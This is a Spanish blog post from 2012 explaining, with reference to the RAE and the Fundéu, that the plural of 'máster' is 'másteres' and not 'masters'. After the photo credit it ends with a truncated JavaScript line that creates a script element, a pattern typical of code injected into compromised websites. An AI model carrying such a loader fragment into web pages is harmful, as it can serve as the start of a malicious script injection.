Recomendaciones de uso de nuestro idioma: másteres y no masters

17/05/2012

Másteres y no masters

Según la RAE:

máster.

(Del ingl. master y este del lat. magister, maestro)

1. m. maestría (título tras la licenciatura)

Según el diccionario panhispánico de dudas el plural debe ser en español másteres.

La Fundación del Español Urgente explica que el plural de máster es másteres y no masters como aparece escrita en muchos medios de comunicación.

Ocurre con cierta frecuencia que los hispanohablantes, al percibir una palabra como extranjera, forman su plural siguiendo el de la lengua originaria, y eso es lo que ocurre con máster, tomada del inglés master y adaptada a la ortografía española poniéndole una tilde en donde corresponde según las normas de acentuación de nuestra lengua.

Y si esa palabra se escribe con tilde y en letra redonda (sin comillas ni cursiva) debe tratarse como cualquier otra palabra española, por lo que su plural natural es másteres y no masters, que es su plural en inglés.

Visto lo anterior, la Fundéu advierte del error que se comete al usar ese plural ajeno al español, como sucede también con otras formas como póster (pósteres) o dosier (dosieres).

Además, la Fundéu recuerda que en la mayoría de los países hispanohablantes no se utiliza el término máster y en su lugar se emplea la voz española maestría.

Foto | Werwin15

var d=document;var s=d.createElement(‘script’);